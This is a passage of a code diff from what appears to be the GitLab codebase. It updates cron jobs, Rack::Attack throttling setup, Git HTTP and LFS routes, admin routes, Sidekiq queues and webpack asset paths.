Settings.cron_jobs['active_user_count_threshold_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['active_user_count_threshold_worker']['cron'] ||= '0 12 * * *'
Settings.cron_jobs['active_user_count_threshold_worker']['job_class'] = 'ActiveUserCountThresholdWorker'
@@ -546,6 +557,9 @@ Gitlab.ee do
Settings.cron_jobs['adjourned_projects_deletion_cron_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['adjourned_projects_deletion_cron_worker']['cron'] ||= '0 4 * * *'
Settings.cron_jobs['adjourned_projects_deletion_cron_worker']['job_class'] = 'AdjournedProjectsDeletionCronWorker'
+ Settings.cron_jobs['geo_verification_cron_worker'] ||= Settingslogic.new({})
+ Settings.cron_jobs['geo_verification_cron_worker']['cron'] ||= '* * * * *'
+ Settings.cron_jobs['geo_verification_cron_worker']['job_class'] ||= 'Geo::VerificationCronWorker'
Settings.cron_jobs['geo_file_download_dispatch_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['geo_file_download_dispatch_worker']['cron'] ||= '*/1 * * * *'
Settings.cron_jobs['geo_file_download_dispatch_worker']['job_class'] ||= 'Geo::FileDownloadDispatchWorker'
@@ -779,9 +793,17 @@ Settings.forti_authenticator['enabled'] = false if Settings.forti_authenticator[
Settings.forti_authenticator['port'] = 443 if Settings.forti_authenticator['port'].to_i == 0
#
+# FortiToken Cloud
+#
+Settings['forti_token_cloud'] ||= Settingslogic.new({})
+Settings.forti_token_cloud['enabled'] = false if Settings.forti_token_cloud['enabled'].nil?
+
+#
# Extra customization
#
Settings['extra'] ||= Settingslogic.new({})
+Settings.extra['matomo_site_id'] ||= Settings.extra['piwik_site_id'] if Settings.extra['piwik_site_id'].present?
+Settings.extra['matomo_url'] ||= Settings.extra['piwik_url'] if Settings.extra['piwik_url'].present?
#
# Rack::Attack settings
diff --git a/config/initializers/active_record_ping.rb b/config/initializers/active_record_ping.rb
new file mode 100644
index 00000000000..349a7e4a496
--- /dev/null
+++ b/config/initializers/active_record_ping.rb
@@ -0,0 +1,5 @@
+# # frozen_string_literal: true
+
+if Gitlab::Utils.to_boolean(ENV['ENABLE_ACTIVERECORD_EMPTY_PING'], default: false)
+ ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.prepend(Gitlab::Database::PostgresqlAdapter::EmptyQueryPing)
+end
diff --git a/config/initializers/active_record_table_definition.rb b/config/initializers/active_record_table_definition.rb
index 81a8e5906f4..9220620da41 100644
--- a/config/initializers/active_record_table_definition.rb
+++ b/config/initializers/active_record_table_definition.rb
@@ -16,7 +16,7 @@ module ActiveRecord
options[:null] = false if options[:null].nil?
[:created_at, :updated_at].each do |column_name|
- column(column_name, :datetime_with_timezone, options)
+ column(column_name, :datetime_with_timezone, **options)
end
end
@@ -27,7 +27,7 @@ module ActiveRecord
# t.datetime_with_timezone :did_something_at
# end
def datetime_with_timezone(column_name, **options)
- column(column_name, :datetime_with_timezone, options)
+ column(column_name, :datetime_with_timezone, **options)
end
# Disable timestamp alias to datetime
diff --git a/config/initializers/gitlab_experiment.rb b/config/initializers/gitlab_experiment.rb
new file mode 100644
index 00000000000..40b4c0dc4ee
--- /dev/null
+++ b/config/initializers/gitlab_experiment.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+Gitlab::Experiment.configure do |config|
+ config.base_class = 'ApplicationExperiment'
+ config.cache = ApplicationExperiment::Cache.new
+end
diff --git a/config/initializers/grape_validators.rb b/config/initializers/grape_validators.rb
index 715949a276f..07dd70822a2 100644
--- a/config/initializers/grape_validators.rb
+++ b/config/initializers/grape_validators.rb
@@ -9,3 +9,4 @@ Grape::Validations.register_validator(:array_none_any, ::API::Validations::Valid
Grape::Validations.register_validator(:check_assignees_count, ::API::Validations::Validators::CheckAssigneesCount)
Grape::Validations.register_validator(:untrusted_regexp, ::API::Validations::Validators::UntrustedRegexp)
Grape::Validations.register_validator(:email_or_email_list, ::API::Validations::Validators::EmailOrEmailList)
+Grape::Validations.register_validator(:iteration_id, ::API::Validations::Validators::IntegerOrCustomValue)
diff --git a/config/initializers/lograge.rb b/config/initializers/lograge.rb
index 0ea0adf86bc..5b068c15aad 100644
--- a/config/initializers/lograge.rb
+++ b/config/initializers/lograge.rb
@@ -2,7 +2,6 @@
unless Gitlab::Runtime.sidekiq?
Rails.application.reloader.to_prepare do
filename = File.join(Rails.root, 'log', "#{Rails.env}_json.log")
- db_counter = Gitlab::Metrics::Subscribers::ActiveRecord
Rails.application.configure do
config.lograge.enabled = true
@@ -17,7 +16,6 @@ unless Gitlab::Runtime.sidekiq?
data[:db_duration_s] = Gitlab::Utils.ms_to_round_sec(data.delete(:db)) if data[:db]
data[:view_duration_s] = Gitlab::Utils.ms_to_round_sec(data.delete(:view)) if data[:view]
data[:duration_s] = Gitlab::Utils.ms_to_round_sec(data.delete(:duration)) if data[:duration]
- data.merge!(db_counter.db_counter_payload)
# Remove empty hashes to prevent type mismatches
# These are set to empty hashes in Lograge's ActionCable subscriber
diff --git a/config/initializers/rack_attack.rb b/config/initializers/rack_attack.rb
index 58bf3f6013c..6cc4fe25765 100644
--- a/config/initializers/rack_attack.rb
+++ b/config/initializers/rack_attack.rb
@@ -1,191 +1,3 @@
# frozen_string_literal: true
-# Specs for this file can be found on:
-# * spec/lib/gitlab/throttle_spec.rb
-# * spec/requests/rack_attack_global_spec.rb
-module Gitlab::Throttle
- def self.settings
- Gitlab::CurrentSettings.current_application_settings
- end
-
- # Returns true if we should use the Admin Area protected paths throttle
- def self.protected_paths_enabled?
- self.settings.throttle_protected_paths_enabled?
- end
-
- def self.omnibus_protected_paths_present?
- Rack::Attack.throttles.key?('protected paths')
- end
-
- def self.bypass_header
- env_value = ENV['GITLAB_THROTTLE_BYPASS_HEADER']
- return unless env_value.present?
-
- "HTTP_#{env_value.upcase.tr('-', '_')}"
- end
-
- def self.unauthenticated_options
- limit_proc = proc { |req| settings.throttle_unauthenticated_requests_per_period }
- period_proc = proc { |req| settings.throttle_unauthenticated_period_in_seconds.seconds }
- { limit: limit_proc, period: period_proc }
- end
-
- def self.authenticated_api_options
- limit_proc = proc { |req| settings.throttle_authenticated_api_requests_per_period }
- period_proc = proc { |req| settings.throttle_authenticated_api_period_in_seconds.seconds }
- { limit: limit_proc, period: period_proc }
- end
-
- def self.authenticated_web_options
- limit_proc = proc { |req| settings.throttle_authenticated_web_requests_per_period }
- period_proc = proc { |req| settings.throttle_authenticated_web_period_in_seconds.seconds }
- { limit: limit_proc, period: period_proc }
- end
-
- def self.protected_paths_options
- limit_proc = proc { |req| settings.throttle_protected_paths_requests_per_period }
- period_proc = proc { |req| settings.throttle_protected_paths_period_in_seconds.seconds }
-
- { limit: limit_proc, period: period_proc }
- end
-end
-
-class Rack::Attack
- # Order conditions by how expensive they are:
- # 1. The most expensive is the `req.unauthenticated?` and
- # `req.authenticated_user_id` as it performs an expensive
- # DB/Redis query to validate the request
- # 2. Slightly less expensive is the need to query DB/Redis
- # to unmarshal settings (`Gitlab::Throttle.settings`)
- #
- # We deliberately skip `/-/health|liveness|readiness`
- # from Rack Attack as they need to always be accessible
- # by Load Balancer and additional measure is implemented
- # (token and whitelisting) to prevent abuse.
- throttle('throttle_unauthenticated', Gitlab::Throttle.unauthenticated_options) do |req|
- if !req.should_be_skipped? &&
- Gitlab::Throttle.settings.throttle_unauthenticated_enabled &&
- req.unauthenticated?
- req.ip
- end
- end
-
- throttle('throttle_authenticated_api', Gitlab::Throttle.authenticated_api_options) do |req|
- if req.api_request? &&
- Gitlab::Throttle.settings.throttle_authenticated_api_enabled
- req.authenticated_user_id([:api])
- end
- end
-
- # Product analytics feature is in experimental stage.
- # At this point we want to limit amount of events registered
- # per application (aid stands for application id).
- throttle('throttle_product_analytics_collector', limit: 100, period: 60) do |req|
- if req.product_analytics_collector_request?
- req.params['aid']
- end
- end
-
- throttle('throttle_authenticated_web', Gitlab::Throttle.authenticated_web_options) do |req|
- if req.web_request? &&
- Gitlab::Throttle.settings.throttle_authenticated_web_enabled
- req.authenticated_user_id([:api, :rss, :ics])
- end
- end
-
- throttle('throttle_unauthenticated_protected_paths', Gitlab::Throttle.protected_paths_options) do |req|
- if req.post? &&
- !req.should_be_skipped? &&
- req.protected_path? &&
- Gitlab::Throttle.protected_paths_enabled? &&
- req.unauthenticated?
- req.ip
- end
- end
-
- throttle('throttle_authenticated_protected_paths_api', Gitlab::Throttle.protected_paths_options) do |req|
- if req.post? &&
- req.api_request? &&
- req.protected_path? &&
- Gitlab::Throttle.protected_paths_enabled?
- req.authenticated_user_id([:api])
- end
- end
-
- throttle('throttle_authenticated_protected_paths_web', Gitlab::Throttle.protected_paths_options) do |req|
- if req.post? &&
- req.web_request? &&
- req.protected_path? &&
- Gitlab::Throttle.protected_paths_enabled?
- req.authenticated_user_id([:api, :rss, :ics])
- end
- end
-
- safelist('throttle_bypass_header') do |req|
- Gitlab::Throttle.bypass_header.present? &&
- req.get_header(Gitlab::Throttle.bypass_header) == '1'
- end
-
- class Request
- def unauthenticated?
- !(authenticated_user_id([:api, :rss, :ics]) || authenticated_runner_id)
- end
-
- def authenticated_user_id(request_formats)
- request_authenticator.user(request_formats)&.id
- end
-
- def authenticated_runner_id
- request_authenticator.runner&.id
- end
-
- def api_request?
- path.start_with?('/api')
- end
-
- def api_internal_request?
- path =~ %r{^/api/v\d+/internal/}
- end
-
- def health_check_request?
- path =~ %r{^/-/(health|liveness|readiness)}
- end
-
- def product_analytics_collector_request?
- path.start_with?('/-/collector/i')
- end
-
- def should_be_skipped?
- api_internal_request? || health_check_request?
- end
-
- def web_request?
- !api_request? && !health_check_request?
- end
-
- def protected_path?
- !protected_path_regex.nil?
- end
-
- def protected_path_regex
- path =~ protected_paths_regex
- end
-
- private
-
- def request_authenticator
- @request_authenticator ||= Gitlab::Auth::RequestAuthenticator.new(self)
- end
-
- def protected_paths
- Gitlab::CurrentSettings.current_application_settings.protected_paths
- end
-
- def protected_paths_regex
- Regexp.union(protected_paths.map { |path| /\A#{Regexp.escape(path)}/ })
- end
- end
-end
-
-::Rack::Attack.extend_if_ee('::EE::Gitlab::Rack::Attack')
-::Rack::Attack::Request.prepend_if_ee('::EE::Gitlab::Rack::Attack::Request')
+Gitlab::RackAttack.configure(::Rack::Attack)
diff --git a/config/initializers/rack_attack_logging.rb b/config/initializers/rack_attack_logging.rb
index e89c6b1b794..7b0a8f0d7dd 100644
--- a/config/initializers/rack_attack_logging.rb
+++ b/config/initializers/rack_attack_logging.rb
@@ -6,7 +6,7 @@ ActiveSupport::Notifications.subscribe(/rack_attack/) do |name, start, finish, r
req = payload[:request]
case req.env['rack.attack.match_type']
- when :throttle, :blocklist
+ when :throttle, :blocklist, :track
rack_attack_info = {
message: 'Rack_Attack',
env: req.env['rack.attack.match_type'],
diff --git a/config/initializers/sidekiq.rb b/config/initializers/sidekiq.rb
index 8e3241a2e4c..43beae3f50d 100644
--- a/config/initializers/sidekiq.rb
+++ b/config/initializers/sidekiq.rb
@@ -46,6 +46,8 @@ Sidekiq.configure_server do |config|
config.client_middleware(&Gitlab::SidekiqMiddleware.client_configurator)
+ config.death_handlers << Gitlab::SidekiqDeathHandler.method(:handler)
+
config.on :startup do
# Clear any connections that might have been obtained before starting
# Sidekiq (e.g. in an initializer).
diff --git a/config/initializers/structure_load_in_transaction.rb b/config/initializers/structure_load_in_transaction.rb
new file mode 100644
index 00000000000..7b8f0e07203
--- /dev/null
+++ b/config/initializers/structure_load_in_transaction.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+ActiveRecord::Tasks::DatabaseTasks.structure_load_flags ||= []
+
+flag = '--single-transaction'
+
+unless ActiveRecord::Tasks::DatabaseTasks.structure_load_flags.include?(flag)
+ ActiveRecord::Tasks::DatabaseTasks.structure_load_flags << flag
+end
diff --git a/config/initializers/zz_metrics.rb b/config/initializers/zz_metrics.rb
index 8e31e4f9282..430e4d60d61 100644
--- a/config/initializers/zz_metrics.rb
+++ b/config/initializers/zz_metrics.rb
@@ -150,12 +150,6 @@ if Gitlab::Metrics.enabled? && !Rails.env.test? && !(Rails.env.development? && d
config.middleware.use(Gitlab::Metrics::ElasticsearchRackMiddleware)
end
- Sidekiq.configure_server do |config|
- config.server_middleware do |chain|
- chain.add Gitlab::Metrics::SidekiqMiddleware
- end
- end
-
# This instruments all methods residing in app/models that (appear to) use any
# of the ActiveRecord methods. This has to take place _after_ initializing as
# for some unknown reason calling eager_load! earlier breaks Devise.
diff --git a/config/object_store_settings.rb b/config/object_store_settings.rb
index ec433c4dda6..9f5323426d9 100644
--- a/config/object_store_settings.rb
+++ b/config/object_store_settings.rb
@@ -3,6 +3,13 @@ class ObjectStoreSettings
SUPPORTED_TYPES = %w(artifacts external_diffs lfs uploads packages dependency_proxy terraform_state pages).freeze
ALLOWED_OBJECT_STORE_OVERRIDES = %w(bucket enabled proxy_download).freeze
+ # To ensure the one Workhorse credential matches the Rails config, we
+ # enforce consolidated settings on those accelerated
+ # endpoints. Technically dependency_proxy and terraform_state fall
+ # into this category, but they will likely be handled by Workhorse in
+ # the future.
+ WORKHORSE_ACCELERATED_TYPES = SUPPORTED_TYPES - %w(pages)
+
# pages may be enabled but use legacy disk storage
# we don't need to raise an error in that case
ALLOWED_INCOMPLETE_TYPES = %w(pages).freeze
@@ -124,6 +131,10 @@ class ObjectStoreSettings
next
end
+ # If a storage type such as Pages defines its own connection and does not
+ # use Workhorse acceleration, we allow it to override the consolidated form.
+ next if allowed_storage_specific_settings?(store_type, section.to_h)
+
# Map bucket (external name) -> remote_directory (internal representation)
target_config['remote_directory'] = target_config.delete('bucket')
target_config['consolidated_settings'] = true
@@ -140,7 +151,7 @@ class ObjectStoreSettings
return false unless settings.dig('object_store', 'enabled')
return false unless settings.dig('object_store', 'connection').present?
- SUPPORTED_TYPES.each do |store|
+ WORKHORSE_ACCELERATED_TYPES.each do |store|
# to_h is needed because something strange happens to
# Settingslogic#dig when stub_storage_settings is run in tests:
#
@@ -169,4 +180,15 @@ class ObjectStoreSettings
raise message
end
end
+
+ def allowed_storage_specific_settings?(store_type, section)
+ return false if WORKHORSE_ACCELERATED_TYPES.include?(store_type)
+
+ has_object_store_configured?(section)
+ end
+
+ def has_object_store_configured?(section)
+ # Omnibus defaults to an empty hash for connection
+ section.dig('object_store', 'enabled') && section.dig('object_store', 'connection').present?
+ end
end
diff --git a/config/routes/admin.rb b/config/routes/admin.rb
index 2db2caafcd8..71a927f59b9 100644
--- a/config/routes/admin.rb
+++ b/config/routes/admin.rb
@@ -18,6 +18,7 @@ namespace :admin do
put :unlock
put :confirm
put :approve
+ delete :reject
post :impersonate
patch :disable_two_factor
delete 'remove/:email_id', action: 'remove_email', as: 'remove_email'
@@ -126,6 +127,7 @@ namespace :admin do
resources :integrations, only: [:edit, :update] do
member do
put :test
+ post :reset
end
end
diff --git a/config/routes/git_http.rb b/config/routes/git_http.rb
index fb8119904ea..715d4b5cc59 100644
--- a/config/routes/git_http.rb
+++ b/config/routes/git_http.rb
@@ -1,60 +1,47 @@
-concern :gitactionable do
- scope(controller: :git_http) do
- get '/info/refs', action: :info_refs
- post '/git-upload-pack', action: :git_upload_pack
- post '/git-receive-pack', action: :git_receive_pack
- end
-end
-
-concern :lfsable do
- # Git LFS API (metadata)
- scope(path: 'info/lfs/objects', controller: :lfs_api) do
- post :batch
- post '/', action: :deprecated
- get '/*oid', action: :deprecated
- end
-
- scope(path: 'info/lfs') do
- resources :lfs_locks, controller: :lfs_locks_api, path: 'locks' do
- post :unlock, on: :member
- post :verify, on: :collection
- end
- end
-
- # GitLab LFS object storage
- scope(path: 'gitlab-lfs/objects/*oid', controller: :lfs_storage, constraints: { oid: /[a-f0-9]{64}/ }) do
- get '/', action: :download
-
- scope constraints: { size: /[0-9]+/ } do
- put '/*size/authorize', action: :upload_authorize
- put '/*size', action: :upload_finalize
- end
- end
-end
-
-# Git route for personal and project snippets
-scope(path: ':namespace_id/:repository_id',
- format: nil,
- constraints: { namespace_id: Gitlab::PathRegex.personal_and_project_snippets_path_regex, repository_id: /\d+\.git/ },
- module: :repositories) do
- concerns :gitactionable
-end
-
-scope(path: '*namespace_id/:repository_id',
- format: nil,
- constraints: { namespace_id: Gitlab::PathRegex.full_namespace_route_regex }) do
- scope(constraints: { repository_id: Gitlab::PathRegex.project_git_route_regex }) do
+scope(path: '*repository_path', format: false) do
+ constraints(repository_path: Gitlab::PathRegex.repository_git_route_regex) do
scope(module: :repositories) do
- concerns :gitactionable
- concerns :lfsable
+ # Git HTTP API
+ scope(controller: :git_http) do
+ get '/info/refs', action: :info_refs
+ post '/git-upload-pack', action: :git_upload_pack
+ post '/git-receive-pack', action: :git_receive_pack
+ end
+
+ # NOTE: LFS routes are exposed on all repository types, but we still check for
+ # LFS availability on the repository container in LfsRequest#lfs_check_access!
+
+ # Git LFS API (metadata)
+ scope(path: 'info/lfs/objects', controller: :lfs_api) do
+ post :batch
+ post '/', action: :deprecated
+ get '/*oid', action: :deprecated
+ end
+
+ scope(path: 'info/lfs') do
+ resources :lfs_locks, controller: :lfs_locks_api, path: 'locks' do
+ post :unlock, on: :member
+ post :verify, on: :collection
+ end
+ end
+
+ # GitLab LFS object storage
+ scope(path: 'gitlab-lfs/objects/*oid', controller: :lfs_storage, constraints: { oid: /[a-f0-9]{64}/ }) do
+ get '/', action: :download
+
+ constraints(size: /[0-9]+/) do
+ put '/*size/authorize', action: :upload_authorize
+ put '/*size', action: :upload_finalize
+ end
+ end
end
end
# Redirect /group/project.wiki.git to the project wiki
- scope(format: true, constraints: { repository_id: Gitlab::PathRegex.project_wiki_git_route_regex, format: :git }) do
+ constraints(repository_path: Gitlab::PathRegex.repository_wiki_git_route_regex) do
wiki_redirect = redirect do |params, request|
- project_id = params[:repository_id].delete_suffix('.wiki')
- path = [params[:namespace_id], project_id, 'wikis'].join('/')
+ container_path = params[:repository_path].delete_suffix('.wiki.git')
+ path = File.join(container_path, '-', 'wikis')
path << "?#{request.query_string}" unless request.query_string.blank?
path
end
@@ -63,22 +50,14 @@ scope(path: '*namespace_id/:repository_id',
end
# Redirect /group/project/info/refs to /group/project.git/info/refs
- scope(constraints: { repository_id: Gitlab::PathRegex.project_route_regex }) do
- # Allow /info/refs, /info/refs?service=git-upload-pack, and
- # /info/refs?service=git-receive-pack, but nothing else.
- #
- git_http_handshake = lambda do |request|
- ::Constraints::ProjectUrlConstrainer.new.matches?(request, existence_check: false) &&
- (request.query_string.blank? ||
- request.query_string.match(/\Aservice=git-(upload|receive)-pack\z/))
- end
-
+ # This allows cloning a repository without the trailing `.git`
+ constraints(repository_path: Gitlab::PathRegex.repository_route_regex) do
ref_redirect = redirect do |params, request|
- path = "#{params[:namespace_id]}/#{params[:repository_id]}.git/info/refs"
+ path = "#{params[:repository_path]}.git/info/refs"
path << "?#{request.query_string}" unless request.query_string.blank?
path
end
- get '/info/refs', constraints: git_http_handshake, to: ref_redirect
+ get '/info/refs', constraints: ::Constraints::RepositoryRedirectUrlConstrainer.new, to: ref_redirect
end
end
diff --git a/config/routes/group.rb b/config/routes/group.rb
index e90be482bbd..38c04369d2f 100644
--- a/config/routes/group.rb
+++ b/config/routes/group.rb
@@ -46,6 +46,7 @@ constraints(::Constraints::GroupUrlConstrainer.new) do
resources :integrations, only: [:index, :edit, :update] do
member do
put :test
+ post :reset
end
end
end
@@ -124,7 +125,7 @@ end
# Dependency proxy for containers
# Because docker adds v2 prefix to URI this need to be outside of usual group routes
scope format: false do
- get 'v2', to: proc { [200, {}, ['']] } # rubocop:disable Cop/PutGroupRoutesUnderScope
+ get 'v2' => 'groups/dependency_proxy_auth#authenticate' # rubocop:disable Cop/PutGroupRoutesUnderScope
constraints image: Gitlab::PathRegex.container_image_regex, sha: Gitlab::PathRegex.container_image_blob_sha_regex do
get 'v2/*group_id/dependency_proxy/containers/*image/manifests/*tag' => 'groups/dependency_proxy_for_containers#manifest' # rubocop:todo Cop/PutGroupRoutesUnderScope
diff --git a/config/routes/import.rb b/config/routes/import.rb
index 557d7fe7143..6c99b0320de 100644
--- a/config/routes/import.rb
+++ b/config/routes/import.rb
@@ -42,15 +42,6 @@ namespace :import do
get :realtime_changes
end
- resource :google_code, only: [:create, :new], controller: :google_code do
- get :status
- post :callback
- get :jobs
-
- get :new_user_map, path: :user_map
- post :create_user_map, path: :user_map
- end
-
resource :fogbugz, only: [:create, :new], controller: :fogbugz do
get :status
post :callback
diff --git a/config/routes/merge_requests.rb b/config/routes/merge_requests.rb
index c11e5a5c3d9..41d831f239e 100644
--- a/config/routes/merge_requests.rb
+++ b/config/routes/merge_requests.rb
@@ -17,6 +17,7 @@ resources :merge_requests, concerns: :awardable, except: [:new, :create, :show],
get :accessibility_reports
get :coverage_reports
get :terraform_reports
+ get :codequality_reports
scope constraints: ->(req) { req.format == :json }, as: :json do
get :commits
diff --git a/config/routes/repository_scoped.rb b/config/routes/repository_scoped.rb
index 865a5bdb5a9..7fabf3ff895 100644
--- a/config/routes/repository_scoped.rb
+++ b/config/routes/repository_scoped.rb
@@ -34,6 +34,7 @@ scope format: false do
scope constraints: { id: /[^\0]+?/ } do
scope controller: :static_site_editor do
get '/sse/:id(/*vueroute)', action: :show, as: :show_sse
+ get '/sse', as: :root_sse, action: :index
end
end
end
diff --git a/config/routes/user.rb b/config/routes/user.rb
index 63329277e33..515a9a23360 100644
--- a/config/routes/user.rb
+++ b/config/routes/user.rb
@@ -54,8 +54,11 @@ scope(constraints: { username: Gitlab::PathRegex.root_namespace_route_regex }) d
end
constraints(::Constraints::UserUrlConstrainer.new) do
- # Get all keys of user
- get ':username.keys' => 'profiles/keys#get_keys', constraints: { username: Gitlab::PathRegex.root_namespace_route_regex }
+ # Get all SSH keys of user
+ get ':username.keys' => 'users#ssh_keys', constraints: { username: Gitlab::PathRegex.root_namespace_route_regex }
+
+ # Get all GPG keys of user
+ get ':username.gpg' => 'users#gpg_keys', constraints: { username: Gitlab::PathRegex.root_namespace_route_regex }
scope(path: ':username',
as: :user,
diff --git a/config/settings.rb b/config/settings.rb
index c681fa32491..3369f2a4480 100644
--- a/config/settings.rb
+++ b/config/settings.rb
@@ -152,6 +152,14 @@ class Settings < Settingslogic
Gitlab::Application.secrets.db_key_base
end
+ def encrypted(path)
+ Gitlab::EncryptedConfiguration.new(
+ content_path: path,
+ base_key: Gitlab::Application.secrets.encrypted_settings_key_base,
+ previous_keys: Gitlab::Application.secrets.rotated_encrypted_settings_key_base || []
+ )
+ end
+
def load_dynamic_cron_schedules!
cron_jobs['gitlab_usage_ping_worker']['cron'] ||= cron_for_usage_ping
end
diff --git a/config/sidekiq_queues.yml b/config/sidekiq_queues.yml
index 2c1bb3c75e1..6f8c0b352fd 100644
--- a/config/sidekiq_queues.yml
+++ b/config/sidekiq_queues.yml
@@ -30,8 +30,12 @@
- 1
- - analytics_code_review_metrics
- 1
+- - analytics_devops_adoption_create_snapshot
+ - 1
- - analytics_instance_statistics_counter_job
- 1
+- - approve_blocked_pending_approval_users
+ - 1
- - authorized_keys
- 2
- - authorized_project_update
@@ -58,8 +62,6 @@
- 1
- - create_commit_signature
- 2
-- - create_evidence
- - 2
- - create_github_webhook
- 2
- - create_note_diff_file
@@ -94,6 +96,8 @@
- 1
- - disallow_two_factor_for_subgroups
- 1
+- - elastic_association_indexer
+ - 1
- - elastic_commit_indexer
- 1
- - elastic_delete_project
@@ -138,6 +142,8 @@
- 1
- - github_importer
- 1
+- - gitlab_performance_bar_stats
+ - 1
- - gitlab_shell
- 2
- - group_destroy
@@ -192,6 +198,8 @@
- 1
- - namespaceless_project_destroy
- 1
+- - namespaces_onboarding_user_added
+ - 1
- - new_epic
- 2
- - new_issue
@@ -248,8 +256,12 @@
- 1
- - project_import_schedule
- 1
+- - project_schedule_bulk_repository_shard_moves
+ - 1
- - project_service
- 1
+- - project_template_export
+ - 1
- - project_update_repository_storage
- 1
- - prometheus_create_default_alerts
@@ -290,8 +302,12 @@
- 1
- - repository_update_remote_mirror
- 1
+- - requirements_management_import_requirements_csv
+ - 1
- - requirements_management_process_requirements_reports
- 1
+- - security_auto_fix
+ - 1
- - security_scans
- 2
- - self_monitoring_project_create
@@ -300,6 +316,8 @@
- 2
- - service_desk_email_receiver
- 1
+- - set_user_status_based_on_user_cap_setting
+ - 1
- - status_page_publish
- 1
- - sync_seat_link_request
diff --git a/config/webpack.config.js b/config/webpack.config.js
index 190d97da1b4..42e27ea1668 100644
--- a/config/webpack.config.js
+++ b/config/webpack.config.js
@@ -19,6 +19,8 @@ const IS_EE = require('./helpers/is_ee_env');
const DEV_SERVER_HOST = process.env.DEV_SERVER_HOST || 'localhost';
const DEV_SERVER_PORT = parseInt(process.env.DEV_SERVER_PORT, 10) || 3808;
const DEV_SERVER_PUBLIC_ADDR = process.env.DEV_SERVER_PUBLIC_ADDR;
+const DEV_SERVER_ALLOWED_HOSTS =
+ process.env.DEV_SERVER_ALLOWED_HOSTS && process.env.DEV_SERVER_ALLOWED_HOSTS.split(',');
const DEV_SERVER_HTTPS = process.env.DEV_SERVER_HTTPS && process.env.DEV_SERVER_HTTPS !== 'false';
const DEV_SERVER_LIVERELOAD = IS_DEV_SERVER && process.env.DEV_SERVER_LIVERELOAD !== 'false';
const WEBPACK_REPORT = process.env.WEBPACK_REPORT && process.env.WEBPACK_REPORT !== 'false';
@@ -27,9 +29,18 @@ const WEBPACK_MEMORY_TEST =
const NO_COMPRESSION = process.env.NO_COMPRESSION && process.env.NO_COMPRESSION !== 'false';
const NO_SOURCEMAPS = process.env.NO_SOURCEMAPS && process.env.NO_SOURCEMAPS !== 'false';
+const WEBPACK_OUTPUT_PATH = path.join(ROOT_PATH, 'public/assets/webpack');
+const WEBPACK_PUBLIC_PATH = '/assets/webpack/';
+const SOURCEGRAPH_PACKAGE = '@sourcegraph/code-host-integration';
+
const VUE_VERSION = require('vue/package.json').version;
const VUE_LOADER_VERSION = require('vue-loader/package.json').version;
const WEBPACK_VERSION = require('webpack/package.json').version;
+const SOURCEGRAPH_VERSION = require(path.join(SOURCEGRAPH_PACKAGE, 'package.json')).version;
+
+const SOURCEGRAPH_PATH = path.join('sourcegraph', SOURCEGRAPH_VERSION, '/');
+const SOURCEGRAPH_OUTPUT_PATH = path.join(WEBPACK_OUTPUT_PATH, SOURCEGRAPH_PATH);
+const SOURCEGRAPH_PUBLIC_PATH = path.join(WEBPACK_PUBLIC_PATH, SOURCEGRAPH_PATH);
const devtool = IS_PRODUCTION ? 'source-map' : 'cheap-module-eval-source-map';
@@ -141,7 +152,7 @@ if (VENDOR_DLL && !IS_PRODUCTION) {
dll = {
manifestPath: path.join(dllCachePath, 'vendor.dll.manifest.json'),
cacheFrom: dllCachePath,
- cacheTo: path.join(ROOT_PATH, `public/assets/webpack/dll.${dllHash}/`),
+ cacheTo: path.join(WEBPACK_OUTPUT_PATH, `dll.${dllHash}/`),
publicPath: `dll.${dllHash}/vendor.dll.bundle.js`,
exists: null,
};
@@ -155,8 +166,8 @@ module.exports = {
entry: generateEntries,
output: {
- path: path.join(ROOT_PATH, 'public/assets/webpack'),
- publicPath: '/assets/webpack/',
+ path: WEBPACK_OUTPUT_PATH,
+ publicPath: WEBPACK_PUBLIC_PATH,
filename: IS_PRODUCTION ? '[name].[contenthash:8].bundle.js' : '[name].bundle.js',
chunkFilename: IS_PRODUCTION ? '[name].[contenthash:8].chunk.js' : '[name].chunk.js',
globalObject: 'this', // allow HMR and web workers to play nice
@@ -362,6 +373,18 @@ module.exports = {
new webpack.ProvidePlugin({
$: 'jquery',
jQuery: 'jquery',
+ Popper: ['popper.js', 'default'],
+ Alert: 'exports-loader?Alert!bootstrap/js/dist/alert',
+ Button: 'exports-loader?Button!bootstrap/js/dist/button',
+ Carousel: 'exports-loader?Carousel!bootstrap/js/dist/carousel',
+ Collapse: 'exports-loader?Collapse!bootstrap/js/dist/collapse',
+ Dropdown: 'exports-loader?Dropdown!bootstrap/js/dist/dropdown',
+ Modal: 'exports-loader?Modal!bootstrap/js/dist/modal',
+ Popover: 'exports-loader?Popover!bootstrap/js/dist/popover',
+ Scrollspy: 'exports-loader?Scrollspy!bootstrap/js/dist/scrollspy',
+ Tab: 'exports-loader?Tab!bootstrap/js/dist/tab',
+ Tooltip: 'exports-loader?Tooltip!bootstrap/js/dist/tooltip',
+ Util: 'exports-loader?Util!bootstrap/js/dist/util',
}),
// if DLLs are enabled, detect whether the DLL exists and create it automatically if necessary
@@ -435,11 +458,11 @@ module.exports = {
new CopyWebpackPlugin([
{
from: path.join(ROOT_PATH, 'node_modules/pdfjs-dist/cmaps/'),
- to: path.join(ROOT_PATH, 'public/assets/webpack/cmaps/'),
+ to: path.join(WEBPACK_OUTPUT_PATH, 'cmaps/'),
},
{
- from: path.join(ROOT_PATH, 'node_modules/@sourcegraph/code-host-integration/'),
- to: path.join(ROOT_PATH, 'public/assets/webpack/sourcegraph/'),
+ from: path.join(ROOT_PATH, 'node_modules', SOURCEGRAPH_PACKAGE, '/'),
+ to: SOURCEGRAPH_OUTPUT_PATH,
ignore: ['package.json'],
},
{
@@ -447,7 +470,7 @@ module.exports = {
ROOT_PATH,
'node_modules/@gitlab/visual-review-tools/dist/visual_review_toolbar.js',
),
- to: path.join(ROOT_PATH, 'public/assets/webpack'),
+ to: WEBPACK_OUTPUT_PATH,
},
]),
@@ -541,6 +564,8 @@ module.exports = {
'process.env.IS_EE': JSON.stringify(IS_EE),
// This one is used to check against "EE" properly in application code
IS_EE: IS_EE ? 'window.gon && window.gon.ee' : JSON.stringify(false),
+ // This is used by Sourcegraph because these assets are loaded dnamically
+ 'process.env.SOURCEGRAPH_PUBLIC_PATH': JSON.stringify(SOURCEGRAPH_PUBLIC_PATH),
}),
/* Pikaday has a optional dependency to moment.
